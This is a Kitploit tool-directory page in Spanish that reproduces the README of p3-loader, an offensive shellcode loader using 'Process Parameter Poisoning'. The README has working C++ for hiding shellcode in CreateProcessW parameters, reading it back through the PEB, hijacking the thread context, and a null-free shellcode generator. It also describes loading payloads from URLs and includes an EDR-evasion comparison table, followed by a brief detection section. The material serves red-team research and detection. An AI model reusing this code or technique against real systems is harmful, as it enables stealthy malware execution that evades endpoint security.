Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
p3-loader — P³-Shellcode Loader es un cargador que implementa una técnica de inyección de código que aprovecha la estructura Process Parameters como ubicación de ejecución y almacenamiento intermedio (staging) para la inyección de shellcode en procesos remotos, sin activar mecanismos comunes de detección. | Kitploit
Herramientas/GitHubGitHub/orange-cyberdefense/p3-loader
Herramientas DefensivasEscalada de PrivilegiosExplotaciónShellcodePost-ExplotaciónPruebas de PenetraciónPapers e InvestigaciónAprendizaje y EducaciónRed Teaming

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Desarrollo de Payloads
Explotación de Binarios
GitHuborange-cyberdefense/p3-loader

p3-loader

Ver Repositorio
20423hace 1 mesRevisado por Kitploit

Acerca de

P³-Shellcode Loader es un cargador que implementa una técnica de inyección de código que aprovecha la estructura Process Parameters como ubicación de ejecución y almacenamiento intermedio (staging) para la inyección de shellcode en procesos remotos, sin activar mecanismos comunes de detección.

Compartir

P³-Shellcode Loader - Process Parameter Poisoning

Authors: Max Hirschberger & Ogulcan Ugur


Contenido

  1. Introducción
  2. Inyección de procesos típica y APIs de sistema implicadas
  3. Fundamentos técnicos de los Windows Internals necesarios
    • 3.1 API de creación de procesos y parámetros de arranque
    • 3.2 El Bloque de Entorno de Proceso (PEB)
  4. Process Parameter Poisoning (P³)
    • 4.1 Iniciar un proceso con un parámetro envenenado
    • 4.2 Localizar los datos inyectados en el nuevo proceso
    • 4.3 Ejecutar el código inyectado
    • 4.4 Inyecciones de payload implementadas
  5. Pasar shellcode arbitrario en una cadena
    • 5.1 Métodos auxiliares de bajo nivel utilizados por el generador de shellcode
    • 5.2 Implementación de operaciones de alto nivel
  6. Ventajas de la evasión de detección mediante esta técnica
  7. Enfoque de detección
  8. Conclusión
  9. Referencias

1. Introducción

P³-Shellcode Loader es un cargador que implementa una técnica de inyección de código que aprovecha la estructura Process Parameters (Process Parameter Poisoning) como ubicación de ejecución y almacenamiento intermedio para la inyección de shellcode en procesos remotos, sin desencadenar los mecanismos de detección habituales.

Un concepto similar fue descrito por el investigador de seguridad modexp, quien demostró que los argumentos pasados a la API CreateProcess se pueden aprovechar para este propósito [1].


2. Inyección de procesos típica y APIs de sistema implicadas

Los atacantes quieren que sus actividades parezcan menos sospechosas. Con la inyección de procesos, los atacantes pueden realizar sus actividades desde un proceso diferente que sea más confiable o del que se espera que realice la actividad específica, reduciendo así las sospechas.

Los siguientes son los pasos típicos necesarios para inyectar código en otro proceso:

  1. El atacante busca y abre un proceso objetivo o inicia un nuevo proceso (a través de OpenProcess / NtOpenProcess o CreateProcess / NtCreateProcess).
  2. Se asigna memoria para el código malicioso en el proceso objetivo (a través de VirtualAllocEx o NtAllocateVirtualMemory).
  3. El código malicioso se escribe en la nueva asignación (a través de WriteProcessMemory / NtWriteVirtualMemory).
  4. La protección de acceso a memoria se configura para permitir la ejecución del código malicioso (a través de VirtualProtectEx / NtProtectVirtualMemory).
  5. Se inicia un nuevo hilo en el proceso objetivo que ejecuta el código malicioso (a través de CreateRemoteThread o NtCreateThreadEx).

Las técnicas de inyección adicionales incluyen, entre otras, las siguientes:

  • Thread Hijacking: En lugar de crear un nuevo hilo, se redirige uno existente (a través de NtSetContextThread)
  • Early-Bird APC-Injection: Utiliza Llamadas a Procedimientos Asíncronos (APCs) para redirigir la ejecución de un hilo existente (a través de NtQueueApcThread)
  • Dirty Vanity: Abusa de la API de Windows RtlCreateProcessReflection, que implementa la bifurcación de procesos. En nuestras pruebas, observamos que la mayoría de los EDR se centran en telemetría específica para detectar la inyección de procesos. Los EDR monitorean principalmente el uso de WriteProcessMemory y VirtualAllocEx, así como sus llamadas al sistema del kernel subyacentes NtWriteVirtualMemory, NtAllocateVirtualMemory y NtAllocateVirtualMemoryEx.

3. Fundamentos técnicos de los Windows Internals necesarios

3.1 API de creación de procesos y parámetros de arranque

Windows proporciona la función de API CreateProcessW para crear nuevos procesos, como se muestra en el Listado 1. Los tres primeros parámetros de dicha función, lpCommandLine, lpEnvironment y lpStartupInfo, son relevantes para la técnica de inyección descrita, ya que se utilizan para transferir datos al nuevo proceso.```c BOOL CreateProcessW( [in, optional] LPCWSTR lpApplicationName, [in, out, optional] LPWSTR lpCommandLine, [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] BOOL bInheritHandles, [in] DWORD dwCreationFlags, [in, optional] LPVOID lpEnvironment, [in, optional] LPCWSTR lpCurrentDirectory, [in] LPSTARTUPINFOW lpStartupInfo, [out] LPPROCESS_INFORMATION lpProcessInformation );

root@kitploit:~
*Listado 1: Definición de la función CreateProcessW de Windows API*
 
El parámetro `lpCommandLine` especifica la línea de comandos para el nuevo proceso. Está limitado a un máximo de 32,767 caracteres Unicode, incluido el terminador nulo Unicode. Para la variante Unicode, es necesario proporcionar una cadena en la que la función pueda escribir. Si se suministra una cadena constante, cualquier intento de escritura realizado por la función de la API provoca una violación de acceso a memoria. Si el valor es `NULL`, la línea de comandos del proceso se tomará del parámetro `lpApplicationName`. Si `lpApplicationName` es `NULL`, debe proporcionarse en el campo `lpCommandLine` y está limitado a caracteres `MAX_PATH`.
 
El parámetro `lpEnvironment` proporciona una lista de variables de entorno al proceso. Si el valor es `NULL`, se utilizará el entorno del proceso creador. La lista de variables de entorno consta de cadenas sucesivas terminadas en nulo con el formato `NAME=VALUE` y otro terminador nulo al final.
 
El parámetro `lpStartupInfo` es una estructura que se muestra en el Listado 2, con campos como estación de ventana, escritorio, identificadores de entrada y salida estándar, así como campos que configuran la ventana principal del nuevo proceso. Según la documentación de Microsoft, el campo `lpReserved` está reservado para uso interno y no se documenta más. Mediante el análisis con el depurador WinDbg, fue posible relacionar este parámetro con la variable `ShellInfo` de tipo `UNICODE_STRING` en el nuevo proceso.```c
typedef struct _STARTUPINFOW {
    DWORD  cb;
    LPWSTR lpReserved;   // Copied to ShellInfo (UNICODE_STRING)
    LPWSTR lpDesktop;
    LPWSTR lpTitle;
    DWORD  dwX;
    DWORD  dwY;
    DWORD  dwXSize;
    // (...) additional fields
    WORD   wShowWindow;
    WORD   cbReserved2;
    LPBYTE lpReserved2;
    HANDLE hStdInput;
    // (...) additional fields
} STARTUPINFOW, *LPSTARTUPINFOW;

Listado 2: Disposición de la estructura de datos STARTUPINFOW

3.2 El Bloque de Entorno del Proceso (PEB)

En la creación de un nuevo proceso, todos los parámetros de proceso suministrados se escriben en el Bloque de Entorno del Proceso (PEB). El PEB es una estructura de datos que está presente en todos los procesos y es única para cada proceso. Los parámetros pueden ser accedidos dentro del miembro ProcessParameters del tipo RTL_USER_PROCESS_PARAMETERS. Además de los parámetros del proceso, esta estructura también incluye información adicional de tiempo de ejecución, como una lista de módulos cargados. La estructura del PEB y los parámetros de proceso relevantes en el RTL_USER_PROCESS_PARAMETERS se muestra en el Listado 3 y el Listado 4.```c typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; // (...) additional fields PVOID ImageBaseAddress; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // Poisonable PVOID SubSystemData; PVOID ProcessHeap; PRTL_CRITICAL_SECTION FastPebLock; // (...) additional fields } PEB, *PPEB;

root@kitploit:~
*Listado 3: Disposición de la estructura de datos PEB*```c
typedef struct _RTL_USER_PROCESS_PARAMETERS
{
    ULONG MaximumLength;
    ULONG Length;
    ULONG Flags;
    ULONG DebugFlags;
    // (...) additional fields
    CURDIR         CurrentDirectory;
    UNICODE_STRING DllPath;       // Potential candidate for transfer
    UNICODE_STRING ImagePathName; // Potential candidate for transfer
    UNICODE_STRING CommandLine;   // Primary candidate for transfer
    PVOID          Environment;   // Primary candidate for transfer
    // (...) additional fields
    UNICODE_STRING ShellInfo;     // Primary candidate for transfer
                                  // (lpReserved in STARTUPINFO)
    UNICODE_STRING RuntimeData;   // Potential candidate for transfer
    // (...) additional fields
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

Listado 4: Disposición de la estructura de datos RTL_USER_PROCESS_PARAMETERS

La Figura 1 muestra el parámetro ShellInfo con el valor de veneno suministrado en el campo lpReserved para la estructura STARTUPINFOW. Además, la Figura 2 muestra la línea de comandos controlada dentro de la herramienta System Informer.

image

Figura 1: Parámetro ShellInfo envenenado

image

Figura 2: Línea de comandos envenenada


4. Envenenamiento de Parámetros de Proceso (P³)

4.1 Iniciar un Proceso con un Parámetro Envenenado

Dado que hay múltiples parámetros que pueden usarse para copiar el código malicioso, la función envolvente en el Listado 5 crea un proceso con el argumento de veneno suministrado al parámetro de proceso elegido. Al ejecutar el inyector implementado, esta elección puede realizarse como se muestra en la Figura 3. Además, se puede proporcionar cualquier valor para la aplicación de destino que se utilizará en lpApplication, con el mensaje al usuario mostrado en la Figura 4.```cpp BOOL CreateProcessWithPoison (int choice, PWCHAR lpApplication, PWCHAR poisonParameter, PPROCESS_INFORMATION pi) { STARTUPINFOW si = { 0 }; switch (choice) { case 1: // Injection via ShellInfo (lpReserved) printf("[] Writing into ShellInfo...\n"); si.lpReserved = poisonParameter; return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi); case 2: // Injection via Environment block printf("[] Writing into Environment block...\n"); return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, CREATE_UNICODE_ENVIRONMENT, poisonParameter, NULL, &si, pi); case 3: // Injection via CommandLine printf("[~] Writing into CommandLine...\n"); return CreateProcessW(lpApplication, poisonParameter, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi); default: return FALSE; } }

root@kitploit:~
*Listado 5: Implementación de CreateProcessWithPoison*
 
Esta función implementa tres opciones de parámetros distintas:
 
1. **Inyección en ShellInfo:** Coloca el veneno en el campo `lpReserved` del parámetro `lpStartupInfo`, que se copiará a la variable `ShellInfo` en el PEB.
2. **Inyección en el entorno:** Coloca el veneno en el parámetro `lpEnvironment` con la marca `CREATE_UNICODE_ENVIRONMENT`.
3. **Inyección en la línea de comandos:** Coloca el veneno en el parámetro `lpCommandLine` de `CreateProcessW`.

<img width="753" height="445" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/878e41931d49b82212556e099ba928cab890d427cd87498fb667f3e0965dbbe1.png" />


*Figura 3: Selección del parámetro a envenenar*


<img width="752" height="167" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/a128d8601b3edcfbf31ba3aa3c10fe995910fc932973a6d86e263f6edafb1bb8.png" />

 
*Figura 4: Selección del ejecutable de la aplicación objetivo*
 
### 4.2 Localización de los datos inyectados en el nuevo proceso
 
Tras la creación exitosa del proceso, los datos inyectados pueden encontrarse mediante la estructura PEB. Se requieren los siguientes tres pasos para localizar el veneno en el nuevo proceso.
 
En primer lugar, la dirección inicial de la estructura PEB se determina llamando a `NtQueryInformationProcess`. `NtQueryInformationProcess` recupera la estructura de datos `PROCESS_BASIC_INFORMATION` cuando se llama con la clase de información `ProcessBasicInformation`. Y `PROCESS_BASIC_INFORMATION` contiene la dirección del PEB en el campo `PebBaseAddress`. Este paso se muestra en el Listado 6.```cpp
WinApiResolver winapi = WinApiResolver::GetInstance();
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG retLen;
winapi.NtQueryInformationProcess(
    pi.hProcess,             // Handle of the new process
    ProcessBasicInformation, // Query PROCESS_BASIC_INFORMATION
    &pbi,                    // Destination
    sizeof(pbi),             // Size of the destination
    &retLen                  // Resulting size of what was read
);

Listado 6: Primer paso para localizar los datos inyectados

En el segundo paso, se lee la estructura PEB llamando a NtReadVirtualMemoryEx con la dirección inicial de la estructura que se obtuvo en el primer paso. La implementación del segundo paso se muestra en el Listado 7.```cpp PEB pebLocal = { 0 }; SIZE_T bytesRead; NTSTATUS status = winapi.NtReadVirtualMemoryEx( pi.hProcess, // Handle of the new process pbi.PebBaseAddress, // Starting address of the PEB &pebLocal, // Destination / Local copy of the PEB sizeof(pebLocal), // Size to be read &bytesRead, // Resulting size of what was read 0 // Reserved parameter );

root@kitploit:~
*Listado 7: Segundo paso para localizar los datos inyectados*
 
Después de leer el PEB, el campo `ProcessParameters` contiene la dirección de inicio de la estructura `RTL_USER_PROCESS_PARAMETERS` en el nuevo proceso. En el tercer paso, esta estructura también se lee del nuevo proceso. Los punteros a los datos inyectados están dentro de esta estructura. El tercer paso se muestra en el Listado 8.```cpp
RTL_USER_PROCESS_PARAMETERS parameters = { 0 };
status = winapi.NtReadVirtualMemoryEx(
    pi.hProcess,                // Handle of target process
    pebLocal.ProcessParameters, // ProcessParameters address in target
    &parameters,                // Output buffer / Local copy
    sizeof(parameters),         // Size to be read
    &bytesRead,                 // Resulting size of what was read
    0                           // Reserved parameter
);

Listado 8: Tercer paso para localizar los datos inyectados

Este enfoque solo utiliza APIs de lectura de memoria y ninguna API de escritura o asignación en la que los EDR se centran. Sin embargo, existe una limitación impuesta por los parámetros. Dado que estos parámetros son cadenas terminadas en nulo, solo el shellcode sin terminador nulo puede transferirse por completo. En la Sección 5 se proporciona una solución para superar esta limitación.

4.3 Ejecución del código inyectado

Después de transferir el código, la ejecución del proceso aún debe dirigirse hacia el código. Además, la protección de memoria de los datos inyectados debe ajustarse, ya que los parámetros no se colocan en regiones marcadas como ejecutables.

Para cambiar la protección, se utiliza la API de Windows NtProtectVirtualMemory para cambiar la protección de solo lectura y escritura a solo lectura y ejecución.

Para redirigir la ejecución del código al shellcode, existen los siguientes tres métodos:

  • CreateRemoteThread / NtCreateThreadEx: Crear un nuevo hilo que comience en el shellcode
  • QueueUserAPC / NtQueueApcThread: Poner en cola un APC en un hilo existente que termine redirigiéndolo al shellcode
  • Manipulación del contexto del hilo: Modificar el puntero de instrucción de un hilo existente para mover su ejecución al shellcode Durante la implementación inicial de esta técnica, se evaluó el enfoque Dirty Vanity para ejecutar el código. Sin embargo, varios EDR generaron alertas por este método.

Un análisis detallado de la implementación de RtlCreateProcessReflection reveló que realiza llamadas a NtWriteVirtualMemory y NtCreateThreadEx. Esencialmente, crea un hilo en un proceso objetivo para ejecutar una función dentro de ntdll.dll. Esta función crea el proceso bifurcado al llamar a RtlCloneUserProcess y también realiza una escritura de memoria en el proceso bifurcado.

Dado que NtWriteVirtualMemory es uno de los indicadores principales utilizados por los EDR, el método Dirty Vanity solo despierta sospechas más allá de lo necesario.

En su lugar, se utiliza la manipulación del contexto del hilo principal, ya que proporciona las siguientes ventajas sobre Dirty Vanity:

  • Disponibilidad de manejadores de hilo: CreateProcessW ya proporciona un manejador válido para el hilo principal dentro de la estructura PROCESS_INFORMATION. Un manejador es un objeto de referencia abstracto que el kernel proporciona para interactuar con recursos del sistema, como procesos, hilos y archivos. Los manejadores son esencialmente índices en tablas de manejadores específicas del proceso que asignan cada manejador a un objeto en el kernel con un nivel de acceso asociado al objeto.
  • Evitar llamadas API sospechosas: NtWriteVirtualMemory, VirtualAllocEx y CreateRemoteThread nunca se utilizan, solo se llama a NtSetContextThread. El contexto de un hilo es el estado de todos los registros del procesador. Por lo tanto, es posible redirigir el flujo de ejecución de un hilo manipulando su contexto, es decir, cambiando el registro del puntero de instrucción. Normalmente, el contexto del hilo se manipula mediante los siguientes pasos:
  1. Suspensión del hilo: El hilo objetivo se coloca en estado suspendido llamando a SuspendThread o creándolo en estado suspendido

  2. Lectura del contexto: El contexto actual se lee en una estructura de datos CONTEXT mediante GetThreadContext

  3. Modificación del contexto: Se realizan los cambios deseados en el contexto, p. ej., cambiando el registro del puntero de instrucción RIP

  4. Aplicación del contexto: El contexto modificado se escribe en el hilo llamando a SetThreadContext

  5. Reanudación del hilo: Se llama a ResumeThread para reanudar la ejecución del hilo en el nuevo valor de RIP El contexto de un hilo se puede cambiar sin suspenderlo primero. Por lo tanto, no es necesario llamar a SuspendThread y ResumeThread, que pueden ser monitoreadas por los EDR para la inyección de procesos. Además, también se puede omitir la llamada a GetThreadContext si la ejecución anterior no necesita restaurarse en un punto posterior. La implementación resultante se muestra en el Listado 9.```cpp NTSTATUS ThreadSetExec(PHANDLE hThread, PVOID shellcode) { CONTEXT ctx; ctx = { 0 }; ctx.ContextFlags = CONTEXT_CONTROL; // CONTEXT_CONTROL flag is enough WinApiResolver winapi = WinApiResolver::GetInstance(); NTSTATUS status = 0;

root@kitploit:~
*Listado 9: Manipulación del contexto de hilo en ThreadSetExec*
 
### 4.4 Inyecciones de payload implementadas
 
Nuestra implementación de esta técnica de inyección incluye las siguientes cuatro opciones de payload que se muestran en la Figura 5.
 
1. La primera opción es una demo simple que muestra una ventana emergente y se muestra en la Figura 5. Esta opción no requiere shellcode adicional ni archivos ejecutables que se vayan a inyectar.
2. La segunda opción toma una representación hexadecimal de shellcode y la inyecta. Si el shellcode contiene bytes nulos, se inyecta con el método descrito en la Sección 5.
3. La tercera opción acepta una ruta a un archivo DLL que luego se proporciona a `LoadLibraryA` dentro del objetivo.
4. Por último, la cuarta opción carga shellcode sin procesar desde una URL HTTP(S) y también se encarga de la limitación de bytes nulos.

<img width="598" height="200" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/f98211120a8cba1628a3514f30befdc7e8ba315cec4148f071216ee5647b7c9b.png" />


*Figura 5: Elección del shellcode inyectado*


<img width="841" height="556" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/3d662981ef5fe16b62eb12c934ba483f9cb75e87343e5ea330de69b2ed5f2985.png" />


*Figura 6: Cuadro de mensaje creado por shellcode*
 
---

## 5. Pasar shellcode arbitrario en una cadena
 
No es posible pasar datos arbitrarios dentro de los parámetros. Esto se debe a que solo se copian los datos hasta un terminador nulo. Para superar esta limitación, hemos construido un generador de shellcode que no emite terminadores nulos.
 
Este generador de shellcode puede crear shellcode para llamar a `MessageBoxA`, `LoadLibraryA`, `NtTerminateProcess` o `NtSuspendThread` con parámetros arbitrarios. Además, puede generar shellcode que decodifica un shellcode de segunda etapa arbitrario y salta a él.
 
Está implementado en la clase C++ `ShellCodeWriter` con métodos auxiliares privados y métodos públicos para la funcionalidad expuesta. Los detalles de implementación se explicarán a continuación.
 
### 5.1 Métodos auxiliares de bajo nivel utilizados por el generador de shellcode
 
`Xor` se utiliza como la primitiva que permite al shellcode generar cualquier dato, incluidos bytes nulos. Esta primitiva está implementada en el método auxiliar `SetRAXXOR` que toma dos valores de 64 bits. Emite shellcode que realiza una operación xor con los valores de 64 bits dados y guarda el resultado en el registro `RAX`.
 
El método auxiliar adicional `SetRAX` crea estos dos valores de 64 bits que, al aplicarles xor, dan como resultado un valor dado. También garantiza que estos dos valores de 64 bits no contengan bytes nulos. En esencia, `SetRAX` emite shellcode que establecerá el registro `RAX` a un valor arbitrario de 64 bits.
 
Tanto `SetRAXXOR` como `SetRAX` se muestran en el Listado 10. Además, el código máquina resultante de tres llamadas de ejemplo a `SetRAX` se muestra en el Listado 11.```cpp
void ShellCodeWriter::SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value)
{
    const char gadget[] =
        "\x48\xB8\xB0\xC5\x2F\x6D\xFB\x7F\x01\x01" // mov rax, XOR_A
        "\x49\xBF\x01\x01\x01\x01\x01\x01\x01\x01" // mov r15, XOR_B
        "\x4C\x31\xF8";                              // xor rax, r15
    uint64_t* xor_a = (uint64_t*)(gadget + 2);
    uint64_t* xor_b = (uint64_t*)(gadget + 12);
    *xor_a = xor_a_value;
    *xor_b = xor_b_value;
    AppendShellCode(gadget, 23);
}
 
void ShellCodeWriter::SetRAX(uint64_t value)
{
    if (value == 0)
    {
        AppendShellCode("\x48\x31\xC0", 3); // xor rax, rax
        return;
    }
    uint64_t xor_a = 0, xor_b = 0x0101010101010101;
    // Adjust the xor key (xor_b) to ensure xor_a will have no zero bytes
    for (int i = 0; i < 8; i++)
    {
        if (((uint8_t*)(&value))[i] == 0x01)
        {
            ((uint8_t*)(&xor_b))[i] = 0x02;
        }
    }
    xor_a = value ^ xor_b;
    SetRAXXOR(xor_a, xor_b);
}

Listado 10: Implementación de SetRAXXOR y SetRAX```asm ; SetRAX(0) xor rax, rax

; SetRAX(0xDEADBEEF) mov rax, 0x01010101DFACBFEE mov r15, 0x0101010101010101 xor rax, r15

; SetRAX(1) mov rax, 0x0101010101010103 mov r15, 0x0101010101010102 xor rax, r15

root@kitploit:~
*Listado 11: Ejemplos de código emitido por SetRAX*
 
`SetRAX` es la base de los métodos auxiliares `PushValue`, `PushBuffer`, `SetArgRegister` y `SetArgRegisterStackRelative`. `PushValue` llama a `SetRAX` y lo sigue con una instrucción `push RAX`, lo que permite empujar valores arbitrarios a la pila. `PushBuffer` usa `PushValue` para escribir un arreglo arbitrario de bytes en la pila; para ello divide los datos en valores de 64 bits y los empuja en orden inverso. El orden debe invertirse, ya que el puntero de pila se decrementa después de cada push. El generador de shellcode lleva la cuenta de cuántos bytes se empujaron con la variable `m_total_consumed_stack_bytes`. Esta variable se usa en el método auxiliar `FreeStack` para limpiar la pila, devolviendo el puntero de pila a su valor inicial.
 
En la interfaz binaria de aplicación x86 de 64 bits de Windows, los registros `RCX`, `RDX`, `R8` y `R9` se usan para los primeros cuatro argumentos al llamar a una función. Los argumentos adicionales se empujan a la pila, después de un espacio de sombra de 32 bytes. El espacio de sombra está reservado para la función llamada y se usa para guardar los cuatro primeros registros de argumentos. `SetArgRegister` y `SetArgRegisterStackRelative` se usan para establecer uno de estos cuatro registros de argumentos. `SetArgRegister` establece un registro determinado a un valor constante arbitrario. Y el código generado por `SetArgRegisterStackRelative` escribe el puntero de pila más un desplazamiento constante en el registro de argumentos correspondiente. Cualquier argumento adicional de función puede empujarse con el método auxiliar `PushValue`.
 
El auxiliar `Call` emite código que alinea el puntero de pila a 16 bytes, luego realiza una llamada a la dirección dada y, por último, revierte cualquier cambio de alineación que haya realizado inicialmente. Se requiere un puntero de pila alineado a 16 bytes para evitar fallos en funciones que utilizan operaciones de registros de punto flotante XMM. Al llamar a funciones con argumentos que se pasan en la pila, la alineación debe ser correcta antes de llamar a este auxiliar. De lo contrario, los argumentos terminan en el desplazamiento de pila incorrecto.
 
### 5.2 Implementación de Operaciones de Nivel Superior
 
La operación más simple es llamar a `NtTerminateProcess` o `NtSuspendThread`. Debido a su similitud, solo se cubrirá `NtTerminateProcess`, que se muestra en el Listado 12. `NtTerminateProcess` toma dos parámetros y sigue la convención de llamadas x64. Primero, se llama al auxiliar `SetArgRegister` para ambos parámetros, para inicializarlos con los valores suministrados. Luego se llama a la función API.
 
Dado que el shellcode se genera en la misma máquina, la dirección de la función se resuelve en el momento de la generación y no dentro del shellcode. La resolución de funciones API la maneja la clase `WinApiResolver`. Finalmente, el método auxiliar `Call` genera la instrucción de llamada y el código de alineación de la pila.```cpp
void ShellCodeWriter::CallTerminateProcess
(HANDLE ProcessHandle, NTSTATUS ExitStatus)
{
    SetArgRegister(0, (uint64_t)ProcessHandle);
    SetArgRegister(1, ExitStatus);
    WinApiResolver winapi = WinApiResolver::GetInstance();
    Call((uint64_t)winapi.NtTerminateProcess);
}

Listado 12: Implementación de ShellCodeWriter::CallTerminateProcess

Las funciones que toman valores de puntero, como LoadLibraryA y MessageBoxA, no se pueden usar de la misma manera. Esto se debe a que se requiere una dirección de memoria válida, que no se conoce en el momento de generar el shellcode. Por lo tanto, se utiliza la función auxiliar SetArgRegisterStackRelative para establecer el argumento en una dirección de la pila. En el Listado 13, la cadena del parámetro del módulo se escribe en la pila y el primer registro de argumento se configura para que apunte al inicio de la cadena del módulo en la pila. Además, la función mueve el puntero de la pila 32 bytes para tener en cuenta el espacio de sombra. Sin esto, la función llamada sobrescribiría la cadena del módulo.```cpp void ShellCodeWriter::CallLoadLibraryA(LPCSTR module) { PushBuffer(module, strlen(module) + 1); int pos_buf = m_total_consumed_stack_bytes; // Shadow Space AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32 m_total_consumed_stack_bytes += 32; // Populate arg registers SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_buf)); WinApiResolver winapi = WinApiResolver::GetInstance(); Call((uint64_t)winapi.LoadLibraryA); }

root@kitploit:~
*Listado 13: Implementación de ShellCodeWriter::CallLoadLibraryA*
 
Finalmente, `LoadAndCallShellCode` toma un shellcode arbitrario que puede incluir bytes nulos y lo ejecuta. Su implementación se muestra en los Listados 14 y 15 y se divide en las siguientes cinco operaciones:
 
1. El shellcode arbitrario se escribe en la pila mediante `PushBuffer`. Después, se asigna el espacio de sombra (shadow space) para proteger el shellcode de ser sobrescrito.
2. A continuación, se realiza una simple llamada a `VirtualAlloc` que utiliza parámetros ya conocidos en el momento de la generación. Esta llamada a la API asigna memoria protegida contra lectura y escritura que puede contener el shellcode.
3. Después, la dirección de memoria devuelta por `VirtualAlloc` se guarda en los dos registros `R12` y `R10`. Luego, `R11` se inicializa con el tamaño del shellcode y `RCX` se establece para que apunte al inicio del shellcode. Con los registros `R10`, `R11` y `RCX` configurados, siguen seis instrucciones que realizan una copia de memoria, copiando el shellcode en la región de memoria recién asignada.
4. Saltar al shellcode todavía no es posible, ya que la región de memoria está protegida contra lectura y escritura. Es posible asignar una región de lectura/escritura y ejecutable; sin embargo, esto probablemente se consideraría más sospechoso. Por lo tanto, se realiza una llamada a `VirtualProtect` para cambiar la protección a legible y ejecutable, pero no escribible.
5. Y por último, se realiza un salto al shellcode, después de asegurarse de que la pila esté correctamente alineada.```cpp
void ShellCodeWriter::LoadAndCallShellCode(const std::vector<uint8_t>& shellcode)
{
    // 1. Pushes the shellcode to the stack
    PushBuffer(shellcode.data(), shellcode.size());
    int pos_sc = m_total_consumed_stack_bytes;
    // Shadow Space
    AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
    m_total_consumed_stack_bytes += 32;
 
    // 2. Allocates READWRITE memory
    CallVirtualAlloc(NULL, shellcode.size(), MEM_COMMIT, PAGE_READWRITE);
 
    { // 3. Copies shellcode from the stack to the newly allocated area
        AppendShellCode("\x49\x89\xC4", 3); // mov r12, rax ; shellcode_dest
        AppendShellCode("\x49\x89\xC2", 3); // mov r10, rax ; shellcode_dest
        SetRAX(shellcode.size());
        AppendShellCode("\x49\x89\xC3", 3); // mov r11, rax ; size
        SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_sc));
        // r10: Shellcode dest ptr
        // r11: size
        // rcx: Shellcode src ptr
        const char* copy_sc =
            "\x8A\x01"   // mov al, byte ptr ds:[rcx]
            "\x41\x88\x02" // mov byte ptr ds:[r10], al
            "\x48\xff\xc1" // inc rcx
            "\x49\xff\xc2" // inc r10
            "\x49\xff\xcb" // dec r11
            "\x75\xf0";    // jnz -16
        AppendShellCode(copy_sc, 16);
    }
    // (...)

Listado 14: Implementación de ShellCodeWriter::LoadAndCallShellCode (Pasos 1–3)```cpp // (...) { // 4. Changes protection of the newly allocated area to EXECUTE_READ // VirtualProtect(shellcode_dest, size, PAGE_EXECUTE_READ, shellcode_src); AppendShellCode("\x4C\x89\xE1", 3); // mov rcx, r12 ; lpAddress SetArgRegister(1, shellcode.size()); SetArgRegister(2, PAGE_EXECUTE_READ); // flNewProtect SetArgRegisterStackRelative(3, (m_total_consumed_stack_bytes - pos_sc)); WinApiResolver winapi = WinApiResolver::GetInstance(); Call((uint64_t)winapi.VirtualProtect); }

root@kitploit:~
if (m_total_consumed_stack_bytes % 16)
{
    AppendShellCode("\x58\x50\x50", 3); // pop rax; push rax; push rax;
    m_total_consumed_stack_bytes += 8;
}

// 5. Jumps to the newly allocated area
AppendShellCode("\x41\xff\xe4", 3); // jmp r12

}

root@kitploit:~
*Listado 15: Implementación de `ShellCodeWriter::LoadAndCallShellCode` (Pasos 4–5)*

---

## 6. Ventajas de la evasión de detección mediante esta técnica

Una de las principales ventajas de esta técnica es que no se crean procesos en estado suspendido ni se suspenden hilos o procesos durante su ejecución. La creación de procesos suspendidos o las llamadas repetidas a `SuspendThread` son indicadores conocidos utilizados por los EDR para el vaciado de procesos, la inyección de procesos y ataques similares.

Además, al crear el proceso objetivo, ya se dispone de un handle del hilo principal que tiene el acceso necesario para modificar su contexto.

| Aspecto | Inyección clásica | Envenenamiento de parámetros de proceso |
|---|---|---|
| Asignación de memoria | `VirtualAllocEx` requerido | Sin asignación explícita |
| Escritura de memoria | `WriteProcessMemory` requerido | Indirecta mediante `CreateProcessW` |
| Redirección de ejecución | `CreateRemoteThread` o APC | `SetThreadContext` |
| Probabilidad de detección | Alta (muchas API sospechosas) | Reducida (creación benigna de procesos) |
| Telemetría del EDR | Estrechamente monitorizada | Observabilidad reducida |

En general, esta técnica resulta mucho menos sospechosa, ya que deja una huella más pequeña al utilizar API legítimas de creación de procesos y gestión de hilos.

---

## 7. Enfoque de detección

Existen varios indicadores sospechosos generados por esta técnica que pueden utilizarse para detectarla.

- `VirtualProtectEx` que hace ejecutable una región de memoria seguido de `SetThreadContext` con al menos `CONTEXT_CONTROL`. Cabe señalar que el puntero de instrucción no tiene por qué apuntar a esta región ejecutable, ya que puede apuntar en su lugar a un gadget que luego la redirija. Sin embargo, es muy probable que un puntero a la región de memoria se escriba en uno de los registros de la CPU.
- `VirtualProtectEx` que hace ejecutables páginas de los parámetros del proceso, tanto en el propio proceso como en procesos externos.
